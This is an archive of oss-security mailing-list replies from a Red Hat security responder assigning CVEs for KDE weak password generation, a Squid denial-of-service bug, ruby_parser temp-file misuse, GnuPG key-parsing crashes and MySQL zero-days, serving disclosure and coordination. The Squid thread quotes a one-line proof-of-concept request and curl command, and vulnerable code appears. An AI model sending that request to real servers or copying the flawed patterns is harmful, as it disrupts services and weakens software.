Re: [oss-security] KDE Paste Applet

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 05/28/2013 05:16 AM, Michael Samuel wrote:
 The paste applet included with kdeplasma-addons allows you to define
 macros that will copy some generated data into the clipboard, using
 simple macros to define the source and format of the data.
 
 The available macros include %{password(...)} which generates random
 passwords.
 
 Here is the code that generates the passwords (from pastemacroexpander.cpp):
 
 QDateTime now = QDateTime::currentDateTime();
 qsrand(now.toTime_t() / now.time().msec());
 for (int i = 0; i  charCount; ++i) {
 result += chars[qrand() % chars.count()];
 }
 
 Breaking passwords generated by this (for example from leaked password
 hashes) can be done extremely quickly, especially if a password expiry
 or other hint is stored with the password.
 
 Workaround: You can change the macro you were using to a %{exec(...)}
 macro which calls a secure password generator.  Please select your
 replacement carefully.
 
 I reported this to secur...@kde.org and created a launchpad ticket
 against the Ubuntu package on May 13, followed up with a proof of
 concept on the 17th, and have received no response at all from either.
  Apologies if that was the wrong contact method.
 
 Regards,
   Michael

Nice find. Please use CVE-2013-2120 for this issue.


- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.13 (GNU/Linux)

iQIcBAEBAgAGBQJRpkHZAAoJEBYNRVNeJnmTZtcP+wdyo+6kfdJq47WO5F9csHmI
vDMFNFRNEjEYgNeD+dQBBB1oEHf/hxi67OJ8cDjZY/x1P4nEj11s/mic1mV6yKw9
0BiPLorquKXRv8s/374T3Fjo4BIHEgWeaaAN0SiaqW5Kwba2t9RXt0RBDs4Lc1R2
1b41BgmvhvZQjxQ0jzffNlaTMntoZdg4DqJh8JQqyHcFbNwFdgjJJVkK4yBPhNYA
8KjBnKJrrfj9VqGy/gYw+iMn0l5FGo8IfTwmfkVJEo0V2NyBvmA0X5CFYX7HPGeK
giKkLZuPQKdC00DSLilLgyoPw6sNKdo1aPZNta+g9fVZt45U75y4SqagsgcDn1HC
+A3XHy9YxanXnW82PSqABBoc/VrI5H2hpKU4y60WNGseHetGAqCv6v1ucpv14++B
Cx9PmYstESnmRGCnNDftG/rQeJlJniw59tusDlV6eJSuxZq11NPBDAhqxjTi4naY
L4wrQZa+xjKlRcmUlfvyTf5Cxhy6gOrEcygBw8OdzEZPy7PN9LLhmK3ZlJk9i0Yu
0hFBUWwDSi0fnMdNlKcfjjKKa3Q5yrMz84sQDU+4trbtoJXHQMsQQJoo5CITdTUZ
uk+L54QPZ82E9Z/0f2RbdtAj+wRPIAKE9Os9wFDd7HcY5LlfV+rMstnRCg69WY4R
buQ4sELAjJndAVU2Kotb
=/83d
-END PGP SIGNATURE-

Re: Squid 3.2.7 DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 03/07/2013 05:37 PM, Amos Jeffries wrote:
 On 6/03/2013 9:53 a.m., tytusromekiato...@hushmail.com wrote:
  
 # DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc # 
  
 # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 #
 c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # 
 ###
 
 # Versions: 3.2.5, 3.2.7
 
 Thank you very much for reporting this to us upstream and ensuring
 a patch was available before publishing it publicly *cough*. This
 has now been fixed.
 
 Would you care to do better on the other ones before someone else
 has a chance to mail your exploit to our bugs@ address and grab all
 the discovery glory?
 
 Amos Jeffries Squid Project

Please use CVE-2013-1839 for this issue.


- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.13 (GNU/Linux)

iQIcBAEBAgAGBQJRPjyAAAoJEBYNRVNeJnmT2akP/3a8sbpYdGYNcRfh1diMh8d9
vXgTIWuCucln7xICDoav+qBJkVwXiRIQSaGlRtA56MdkIJBYj53gSrAOOsr2vOhq
v8jmc65qQFH/fzt93Q0h/yF7ozY9IYY37frVMUmJeKs+JRsrkWSDvqpiiOgdmJON
LW7YmW0lkt+p/ye14BMq072zsUikgz8oU4oJhJvbZR1o2El1LSzTj3EbCIxbwbYg
dHAzPWKiujytkB6pziiU8OFowqhcOksEu/Qod8mMVFgG8L56bjkAhL5BVHdP2uY9
JFHhPXi5P0XYQ04/975wG2qOZt56W7p9Hp7ji6SRiWC8wZhVe7FFoFk/y3DC3gdY
ICh3BjtX7rh1hm1BYnf6gE8cC8KZFkpmO+Fltp2blbpd5IGDP64IdZ5Tj5elFI27
CuvWJ8oY2vHHJ1+NmXRzSWrWkuSaRzSmcvItlOillP8qAXIYvTT8NY6rHbahkM/5
mCuFo12yhUXVl31ilo0E8Y00mrgI2psDUfHv/Q+FNkRylMykhzpii+/XjW6llHDJ
GM4XN+H4oLF3TEZ+3mPEBoQl5c0Vc8p0yk3x5tM/MhuRQ68X173+tsjmg4QtxLiv
1LGYVtNphMsdwprWC01ci/xeh0kfHX4liK/9NY7aS3evScku94jGwHn9X+oVejOT
XXkwifp3W+pf9AO5b8la
=NngW
-END PGP SIGNATURE-

Re: Squid 3.2.7 DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 03/05/2013 01:53 PM, tytusromekiato...@hushmail.com wrote:
  #
 DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc # 
  # 
 # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 #
 c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # 
 ###
 
 # Versions: 3.2.5, 3.2.7
 
 
 This error is only triggered when squid needs to generate an error
 page (for example backend node is not responding etc...) POC
 (request): -- cut -- GET http://127.0.0.1:1/foo HTTP/1.1 
 Accept-Language: , -- cut --
 
 e.g : curl -H Accept-Language: , http://localhost:3129/
 
 Code:
 
 strHdrAcptLangGetItem is called with pos equals 0, therefore first
 branch in if (316 line) is taken, because xisspace(hdr[pos]) is
 false, then pos++ is not executed (because hdr[0] is ','). In 335
 line statement in while is also false because hdr[0] = ',', so
 whole loop body is omited. dt = lang, thus after assignment in 353
 line *lang == '\0', so expression in if statement in 357 line is
 false. So next execution of while body (314 line), has got same
 preconditions as previous, thus it's infinite loop.

Was this reported upstream to squid-b...@squid-cache.org? Has anyone
confirmed this, and if so, does it require a CVE #?

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.13 (GNU/Linux)

iQIcBAEBAgAGBQJROQF3AAoJEBYNRVNeJnmTq5oQANtdEmCVhIbR9RppkKuPsIP0
QW+sMJYIunEdUchS+p8IRQiN3IrD8ySDuyWeOSTW6riYopH1XhV1RMY67+JJ63kg
vR7Toh5GFTjKmd6HvrN7FX7yZ5UyupClX1WhBk2s8GTIhYckDCykvWePJwei2cT3
fRYc72jSsEoqKP5CTS9YK91Ap0FZRGDREt/V6yZwGkYAVh6j89XC5j95VPzNCigQ
QQquLNr0AaRQC2E/Ofa++GW8GHf1yGMOQ49ypEKr1n7CrY3uZD2/Gp968GPZx+DJ
/31KyBAW5v2e1cTIOMgan+mVR8PDHcWSKFQu3bRpd4JaeNkYWHsd66w2tclL8r6Q
N09+GJFiEdE9ycsHMHMyz8DcCtzLo6BnrP9NTHYzd5Q2CyNpNS0RnAVsFU0Bj2VX
WLA7JhcM0+5+UJvn9dIuNSaB7xVusKi5Q4YCP33FFULsDczKs5tFBrvrvEn3h9//
gol31UVSMpB00Bh5ijWifLmrRXJ9+RodxZUZ4PfmmllPA30iuoTqb0yhmVv314GG
5/T/PnsMYEAWSrsaqdcfWiWNLGyx/lqovrXofszratY7Urphp0OJNueN9Et7IPkZ
E42eXZt3x3FfJzFNA2WgXIW13aTQ+iRdAqMip+jmylfMr6JtABevu+V1JXvZkcHY
8E7GKbUGP4HexDIWiA0a
=tSGC
-END PGP SIGNATURE-

CVE-2013-0162 rubygem-ruby_parser: incorrect temporary file usage / Public Service Announcement

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

This is a relatively minor issue, hence no embargo.

Michael Scherer (msche...@redhat.com) of Red Hat found:

Looking for incorrect /tmp/ usage, I found the following piece of code
in /usr/share/gems/gems/ruby_parser-2.0.4/lib/gauntlet_rubyparser.rb
(https://rubygems.org/gems/ruby_parser)

  def diff_pp o1, o2
require 'pp'

File.open(/tmp/a.#{$$}, w) do |f|
  PP.pp o1, f
end

File.open(/tmp/b.#{$$}, w) do |f|
  PP.pp o2, f
end

`diff -u /tmp/a.#{$$} /tmp/b.#{$$}`
  ensure
File.unlink /tmp/a.#{$$} rescue nil
File.unlink /tmp/b.#{$$} rescue nil
  end

This was assigned CVE-2013-0162. The current version of ruby_parser is
3.1.1 and is affected. Fixing this is simple:

diff --git a/lib/gauntlet_rubyparser.rb b/lib/gauntlet_rubyparser.rb
index 4463c38..85137f9 100755
- --- a/lib/gauntlet_rubyparser.rb
+++ b/lib/gauntlet_rubyparser.rb
@@ -35,18 +35,19 @@ class RubyParserGauntlet  Gauntlet
   def diff_pp o1, o2
 require 'pp'

- -File.open(/tmp/a.#{$$}, w) do |f|
- -  PP.pp o1, f
- -end
+file_a = Tempfile.new('ruby_parser_a')
+PP.pp o1, file_a
+file_a.close
+
+file_b = Tempfile.new('ruby_parser_b')
+PP.pp o2, file_b
+file_b.close

- -File.open(/tmp/b.#{$$}, w) do |f|
- -  PP.pp o2, f
- -end

- -`diff -u /tmp/a.#{$$} /tmp/b.#{$$}`
+`diff -u #{file_a.path} #{file_b.path}`
   ensure
- -File.unlink /tmp/a.#{$$} rescue nil
- -File.unlink /tmp/b.#{$$} rescue nil
+file_a.unlink
+file_b.unlink
   end

CC'ing the 3 people listed on ruby_parser as owners.

Also I will be auditing a number of rubygems for various easy things,
as a reminder tmp file vulns are EASY to fix, just use the functions
listed in:

http://kurt.seifried.org/2012/03/14/creating-temporary-files-securely/

===
Public Service Announcement
===

For public issues please start CC'ing oss-security@ (especially if it
needs a CVE), and also ruby...@googlegroups.com which will notify the
Ruby Security people (and then cool things like their tools will warn
users of outdated/insecure versions and so on).

For private/embargoed issues the rubygems.org/community is considering
some ways to make it easier to report security issues in gems, we'll
keep you posted.

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.13 (GNU/Linux)

iQIcBAEBAgAGBQJRJwmQAAoJEBYNRVNeJnmTtiUQALQ80GH11AWQS+YmGKA6Yhk/
dZ65MdEDAHvyAJ/LewY/URShpEJmwtxOIu2rzlniKwzPSpNZtz15u/jUeNA94ez+
1glzGc5pYF19yL6E/aUf181ZzIhJaI2h9iWNjElui2+l/vkZKuEoygu6fB1CqxUv
d2ykR13dRP+IMj7BLBduLO8WztQ7maOncI9eIv6JgvgysRfffPqbhrUHQyvsow8q
fRSa52cMVvM+4Y6Zc4UvjWlEZwBC8DFt4UlJsa0OoY+UMjqqiKwWIK4/OjgPtd43
ID5CxtjT6x2ANPNLE9UJXoJPKgjvgbghN5wbdOthA8N3jM1s1tbvXDhvKl8zA90d
Eymjelo2iGhHiuQNaAsNqRmab1UlJDcy2UuiIg9IMH7qSMd5l6gosWMHpx4gM39c
moUdNucdpEX0Y33VNMhmjQEhFWy93uGALeHmQZeAAjO+k2/San78nF8luaHyUTXL
qba5VNHdBsWfL0ttHv1XhkWlWT/osRtgQLutLngr9h0nXDGqSJ0RvFOtAsGpvhCh
SfQMAHWPu6GUjhNG+7MedQX/P7kWfDy4qvdDu9kUN++EVcjtK4IOxXBx9KAF8Hj4
//xobZYswtp3zOFzVy5kWqLa5NyqNKye8ZAuqIpDGYfBlR/T5jGM8cMqqRtYyKkE
trGaadlo3zHW1K0Rplea
=FAr9
-END PGP SIGNATURE-

Re: GnuPG 1.4.12 and lower - memory access errors and keyring database corruption

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 01/01/2013 12:22 AM, Kurt Seifried wrote:
 On 12/28/2012 06:06 PM, KB Sriram wrote:
 Versions of GnuPG = 1.4.12 are vulnerable to memory access
 violations and public keyring database corruption when importing
 public keys that have been manipulated.
 
 An OpenPGP key can be fuzzed in such a way that gpg segfaults (or
 has other memory access violations) when importing the key.
 
 The key may also be fuzzed such that gpg reports no errors when 
 examining the key (eg: gpg the_bad_key.pkr) but importing it
 causes gpg to corrupt its public keyring database.
 
 The database corruption issue was first reported on Dec 6th,
 through the gpg bug tracking system:
 
 https://bugs.g10code.com/gnupg/issue1455
 
 The subsequent memory access violation was discovered and reported
 in a private email with the maintainer on Dec 20th.
 
 A zip file with keys that causes segfaults and other errors is 
 available at
 http://dl.dropbox.com/u/18852638/gnupg-issues/1455.zip and includes
 a log file that demonstrates the issues [on MacOS X and gpg
 1.4.11]
 
 A new version of gpg -- 1.4.13 -- that addressed both these issues,
 was independently released by the maintainer on Dec 20th.
 
 The simplest solution is to upgrade all gpg installs to 1.4.13.
 
 [Workarounds: A corrupted database may be recovered by manually 
 copying back the pubring.gpg~ backup file. Certain errors may also
 be prevented by never directly importing a key, but first just
 looking at the key (eg: gpg bad_key.pkr). However, this is not
 guaranteed to work in all cases; though upgrading to 1.4.13 does
 work for the issues reported.]
 
 Discovery:
 
 The problem was discovered during a byte-fuzzing test of OpenPGP 
 certificates for an unrelated application. Each byte in turn was 
 replaced by a random byte, and the modified certificate fed to the 
 application to check that it handled errors correctly. Gpg was used
 as a control, but it itself turned out to have errors related to
 packet parsing. The errors are generally triggered when fuzzing the
 length field of OpenPGP packets, which cascades into subsequent
 errors in certain situations.
 
 -kb
 
 Has this been assigned a CVE identifier yet?

Spoke with upstream, confirmed things. Please use CVE-2012-6085 for this
issue.



- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQ43AsAAoJEBYNRVNeJnmTWBkP/2+7T2S3n6KOc0VQjcDlK9Yo
kUauilVJcH9QKZW28JHGzQnNUV/jf8csjtGsWBawVi7ofrlNNbNLRXTBe3OqEaxM
ltLB0049NjMQ4sdf9agur3t7kXFJkRarMQZ+DGnlQAYClZggEsztWhwMCOozMiay
/NuJsUQvlAtzRcRYZEyI0P3R5ecfsu0JHJuf9on/bc4hXgl4A6kl02IGaaZi69hU
faYdeGXRKjDKWp7fsLdWXVO4S43+QV2VKADdkxC5+fef9b1lHH6cHhobsZCb8ZCl
pVx19tF/jid7Lz3QyLeaJNuKsu/H65/xJvnhUTdUr3viqo3cArudNNhkb2Fu+8u8
Y03M1w6jdMpO2ENNjgrlrlgLZ4zCk/A8enK61DJnll7oIhVGbn58K0AVSmfcPJtN
V+JklmvbEwJwxlOw9MxWkJ6nuQrXaFJRB5ruQnuvLneEWHsfPYlJMUpUmtmg3VWe
4gbFn774VplIxLuo3wHDwPdaWT7piMvBZLdHvLvRyfx7yBY9zphFsW4zQvZH2hGa
jMpUj2g8mR2Tw03REXrvgj+GNqMKy516d1YbVm8Y8//TCHMYt8EWeXHJ4COS/9WO
rKxEBi8kpL/rc5VFOD+76S3Skp2jgYAql9BTbBp4DoJd7jtT8boRYjJFWWzpiwxi
isKwpf/bS3MC+ZxHKTNe
=zCWo
-END PGP SIGNATURE-

Re: GnuPG 1.4.12 and lower - memory access errors and keyring database corruption

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/28/2012 06:06 PM, KB Sriram wrote:
 Versions of GnuPG = 1.4.12 are vulnerable to memory access
 violations and public keyring database corruption when importing
 public keys that have been manipulated.
 
 An OpenPGP key can be fuzzed in such a way that gpg segfaults (or
 has other memory access violations) when importing the key.
 
 The key may also be fuzzed such that gpg reports no errors when 
 examining the key (eg: gpg the_bad_key.pkr) but importing it
 causes gpg to corrupt its public keyring database.
 
 The database corruption issue was first reported on Dec 6th,
 through the gpg bug tracking system:
 
 https://bugs.g10code.com/gnupg/issue1455
 
 The subsequent memory access violation was discovered and reported
 in a private email with the maintainer on Dec 20th.
 
 A zip file with keys that causes segfaults and other errors is 
 available at
 http://dl.dropbox.com/u/18852638/gnupg-issues/1455.zip and includes
 a log file that demonstrates the issues [on MacOS X and gpg
 1.4.11]
 
 A new version of gpg -- 1.4.13 -- that addressed both these issues,
 was independently released by the maintainer on Dec 20th.
 
 The simplest solution is to upgrade all gpg installs to 1.4.13.
 
 [Workarounds: A corrupted database may be recovered by manually 
 copying back the pubring.gpg~ backup file. Certain errors may also
 be prevented by never directly importing a key, but first just
 looking at the key (eg: gpg bad_key.pkr). However, this is not
 guaranteed to work in all cases; though upgrading to 1.4.13 does
 work for the issues reported.]
 
 Discovery:
 
 The problem was discovered during a byte-fuzzing test of OpenPGP 
 certificates for an unrelated application. Each byte in turn was 
 replaced by a random byte, and the modified certificate fed to the 
 application to check that it handled errors correctly. Gpg was used
 as a control, but it itself turned out to have errors related to
 packet parsing. The errors are generally triggered when fuzzing the
 length field of OpenPGP packets, which cascades into subsequent
 errors in certain situations.
 
 -kb

Has this been assigned a CVE identifier yet?

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQ4o7EAAoJEBYNRVNeJnmTjAAP/2rEPCntRzkWeE6l+LknWkzk
HiIqNWOpRuJMPJ9cqNBM5Egc4XgXCLPNuzlgLhuVuZOHNdU/s7Ca8x0QpLROiC/H
0dHUHDD918CnElZ6f5ZEf/9vhnBhSud7cvpmJSDYjVjspfAYR//ehypPSlms/t4n
Ph3pQh8huWarV4M+Qx+pZsfFYnB6GSZCI2DzUfgVi/69fdbSKsRNRNb7vabmjQ96
4Y7wOz9P/8WoqDAubvwewk8I7QkTPVbAq4JI0KMJS+2/C/NtkrESYmCZ0//xcox7
iotd5Sjx/nNKDCNxZlTZ+Zdj61/LzLaXCRJx7o9scBHK4MpucpMUisYoVywlueKk
hPcC0jCWYchUPbJGyLLP4qOhIx8xY4see2qYLW8eo6GIDvtlYwcGP81FNt8O4XAd
6kIeewsGA1aF1+ndVlYjqzlf/kAbs+IkSxmNYK/EwFjhvHT+/jfFq+nOJfyo27kr
T0/00dnrz8zjt8+9nJU+P4YzBrTlU0QhVvBR/FwSuWaxUHSYBz8eXPc29sqMUMiQ
jTqA9KOwi1XYgLrY0w2g4i6CCI+Ud2imCnNvWN+OeTkIT8gpbjK8cpeY0AjiE7Rd
leBXcqJ6SmwGJigKeau0fyJQFNyFplstnVi4ZXbKof+PWPq8AElEIIa4Xgn/YFj4
m0wuEBezBNChTLi5xjvO
=Ai5t
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL (Linux) Stack based buffer overrun PoC Zeroday

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 02:26 PM, king cope wrote:
 (see attachment)
 
 Cheerio, Kingcope

So normally for MySQL issues Oracle would assign the CVE #. However in
this case we have a bit of a time constraint (it's a weekend and this
is blowing up quickly)  and the impacts are potentially quite severe.
So I've spoken with some other Red Hat SRT members and we feel it is
best to get CVE #'s assigned for these issues quickly so we can refer
to them properly.

If Oracle security has already assigned CVE's for these please let us
and the public know so we can use the correct numbers. Also if Oracle
can let the public know which versions of MySQL are affected (e.g.
5.0.x, 5.1.x, 5.5.x, etc.) that would be very helpful to everyone I am
sure.

I am also adding MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

http://seclists.org/fulldisclosure/2012/Dec/4

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuu5zAAoJEBYNRVNeJnmTF8sP/10htpTkb298u/Szo3yOcRiE
8HgMwXPVGFhPh0d/avRgIocYeJxIH9oUf7xN/A53TXktgp7CZZUMhJAh4Hv5mrFn
moVGxs3qBaTT8+zFa8Ea7VUqzYXUGdMNPBeyijyw18WRHu7ETrUg2pXREkr056ol
GRt5BuMyzz7sdlLNCYWki+uMIxWtnyjw4ngkNCcAbDuPGdmIxwTiNQ8oOLWRgs/+
ybL0EXWIJgeBWBdsx0nlJNrL6gHqCsfZduKNl95MAdFHRMiOFrc/GQWfL81d+q86
upWQ+S7U8or/dpcD7eKInSmGvjgoFR+cF1S2lkDqBLXg2ER8aZzemaG/8p+m4ICH
Cef7Zt7q5F+FaSC4wOeCmmR0SmeA1ZO1krY8Ur3oyuYr39Iegk1O48hAzAP4RbDS
+m0pPFNanDuW2h9NSjAx19C2qgEMoMGCaTpJY1mfF3Zus5ctxXyYtNU1g/yIGr3f
E2boYVOYW4CPJSRGkeF6n1Vf+c+Sov/0/enxJxUsf9tA58iQUSQNsI+aSj71oI3v
1Y0/Ce3FKAJRkgY374TD+K834ruhFAO9xJXdA1MSDdz4rJ1uQusIKufz3ubjHCWP
KhgpV2Pp1Gq5+XGuNPKn06cNh8a/oYubMNpQBxeIbWYm6eFuUvwnSP9ki+hPLjvw
fa9hdUARqamhayQbkNdH
=sXhV
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL (Linux) Heap Based Overrun PoC Zeroday

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 02:26 PM, king cope wrote:
 (see attachment)
 
 Cheerio,
 
 Kingcope

So normally for MySQL issues Oracle would assign the CVE #. However in
this case we have a bit of a time constraint (it's a weekend and this
is blowing up quickly)  and the impacts are potentially quite severe.
So I've spoken with some other Red Hat SRT members and we feel it is
best to get CVE #'s assigned for these issues quickly so we can refer
to them properly.

If Oracle security has already assigned CVE's for these please let us
and the public know so we can use the correct numbers. Also if Oracle
can let the public know which versions of MySQL are affected (e.g.
5.0.x, 5.1.x, 5.5.x, etc.) that would be very helpful to everyone I am
sure.

I am also adding MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

Please use CVE-2012-5612 for MySQL (Linux) Heap Based Overrun PoC Zeroday

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuvEXAAoJEBYNRVNeJnmTsnsQAMcUAB1u2mbcx31EDRMKePHN
njyDbDp5PkQVyfcYPtwnZgK4Uid2z1be7Dl4f1Q++FUkMO/2/I/SNu206PvMgVRA
ZJIXw2o38UZUNIvD23yUOQyMLUJBqGGhfo9PiXogyyrZ27JzqTOIxv2fnRcpJCVJ
OFZV8ivkDWFZCSAPrkjN+6kOHVQ+9OVrzQ8yX8YnxxKmVrPJm/smCFhpg63WQ6bX
ebIs8bjpedpSCKiZQH7pDslapELwKB8jQNksAfI38IZjz/lq7HMzDHPXnp3ns5gE
A6+yJOsM2mDjFQtHdN/RVjVqqiE1c3bTHc3FYJ1H5i4AHaq2VHEt53TsATOwmWaE
Ph6KeHNiXB0oVSOnREbRT+zjiygQgf3d6O+EHywdqA2jShEL/cYRUc+6AAhAteqY
9YWL7vJdr+Rz95g5YBMQ8/HNmakMX/7ZgW09EVj27KuaCtsjAOUJSNL2smGSvIRK
1waxZDl43cXQate+1+sYDteYya22kz15Cp9AJoxHJR+pFyNVTDp5lRH5BmfjKcUi
QcHoHPRZ5mIySw1no74HNki3WYCQUlMqKH+v6eZxGXhr5X5hUW3ArJzVrlaKeOEG
1VlWuD+c6SDBtnjS8+m5SqdL6nM2dRr6DcO5M6lB5tcqcowNSstphl8uCM2gBQ3S
49cJjvgFAdHE4MFIE4lR
=BVqr
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL (Linux) Database Privilege Elevation Zeroday Exploit

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 02:26 PM, king cope wrote:
 (see attachment)
 
 Cheerio,
 
 Kingcope

So normally for MySQL issues Oracle would assign the CVE #. However in
this case we have a bit of a time constraint (it's a weekend and this
is blowing up quickly)  and the impacts are potentially quite severe.
So I've spoken with some other Red Hat SRT members and we feel it is
best to get CVE #'s assigned for these issues quickly so we can refer
to them properly.

If Oracle security has already assigned CVE's for these please let us
and the public know so we can use the correct numbers. Also if Oracle
can let the public know which versions of MySQL are affected (e.g.
5.0.x, 5.1.x, 5.5.x, etc.) that would be very helpful to everyone I am
sure.

I am also adding MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

Please use CVE-2012-5613 for MySQL (Linux) Database Privilege
Elevation Zeroday Exploit

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuvFXAAoJEBYNRVNeJnmTmIIP/ibqLe92YFPGEYCJbAReXjOl
GrtUPHhqJ6d1vQ01UFMDhPwqAhdOq5mGH+FBrt6aaDyQZQijRzmQVtaneRe+c4o1
5txCdF3X/SwGv7MIBbBMCHztZynkDNQ/a68JIkNjJ7hWuE5carmhogYtzoNmhUxF
n3k11HUsNTcMwgN/RUCjab4tKKTn1HlJB8M+KL+v36DM3M7UCjErUk/upVeJoaK7
7ATANDzlURc9W/YfcDNWZIhzPL3AMF4+4oLc9Qc2TMqjKn+WzLCgfGV9sBSujImk
dod1bbKZ7efDPYP48EsYW34xg/jc6bw4RW3YaxypeQ23G/QSgnRzunJJu4LeCycw
7Sg7b+Sy8FRxGjhztf4hSCXvn6Hplnlt+uzrvjL6YVFt1MwGVIgiRN/0WoiFp/HH
Su6uodLiA1M0QrTCYYrTe5G8aZ4DAuHbkmWetm7BrTwXyqfqXVtENBgLPWp5JOuS
WpFpMFbLqe8tm+x+UqaCTRoBhahovwURkM2+micSdiXmRW9KSOH+2sAj0ewcPL4V
rpLrrDym7nnvCRa6R5pxeC8aN0nayWbPyR1VUULLfg5vKLH9/lgnA5NahLAcI228
kMgXDlAUOQo86sE7sBE+5dmu3qYKdKMiy174odz/MbnHdWpIV1j9zeVPbfTqHFG+
OyZokNeRbwFhefCGhH3g
=lO/R
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL Denial of Service Zeroday PoC

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 02:26 PM, king cope wrote:
 (see attachment)
 
 Kingcope

So normally for MySQL issues Oracle would assign the CVE #. However in
this case we have a bit of a time constraint (it's a weekend and this
is blowing up quickly)  and the impacts are potentially quite severe.
So I've spoken with some other Red Hat SRT members and we feel it is
best to get CVE #'s assigned for these issues quickly so we can refer
to them properly.

If Oracle security has already assigned CVE's for these please let us
and the public know so we can use the correct numbers. Also if Oracle
can let the public know which versions of MySQL are affected (e.g.
5.0.x, 5.1.x, 5.5.x, etc.) that would be very helpful to everyone I am
sure.

I am also adding MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

Please use CVE-2012-5614 for MySQL Denial of Service Zeroday PoC

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuvHQAAoJEBYNRVNeJnmTJUAQAKe6OGh+OnqVL1imsc0P5zaU
PTiEykeuN0nQ0yU22U5GQBOXbiSlWfTp/N9sn7m7HqxN4NRvLiNtRFZdhrXf0rah
cTimkN0r8JGoP1KRSSOYJt+vnUK70YlwpxT1ZsbahSnDwWWmv4Fe1ry2Ocn8b8o8
uTDU3MOgbfmEhZyxRAkNlo8JvSIVFUdIxAbsJYeIbVjCo6pv7U+EBCX+5DXiPdb1
xOYD0kkvw2QCRyBPtpEiem/3EdTfCC8GHLchx/jup61/bKTkM3d0ecg9ISBEN9kU
KvYHDc3OthR9XRQ5UKOT3PZHb5D9PPN0d3wV0KeA4S43gDCSyWeeLXHi/DhWYR4M
olELLySdO3SQRO1sAUMVAbQxjtvYw8Yms6lJj5Dj0jWN9Kl3aRfJY7wwApZ1I/G7
Lm/t6ibC+U5Xt7+PjuQlFE5ZyBp5KpkBcYbdChzxtoHVmhtEzHiP5q62zeIUPG6G
Evvws8vLsMvpIsJcUC13NbcoQ7NLpSOvpgNYiMEqrA3N7fd4M3NH/uims5wSmAWO
H/Sq5UdqcGehkdc3Hh363bJF5UEn9snlWPYUvI0ccrbxdzOYZiHveWA0fpznKkRX
bLyBegkbcZf247bC0gJQkPuB6D6zfjKFJv3Y+ZktOZBAW6uixJI3YlMQfVcCz7Bk
vj2ZuZVLKiwkWPsO93qI
=TZ5A
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL Remote Preauth User Enumeration Zeroday

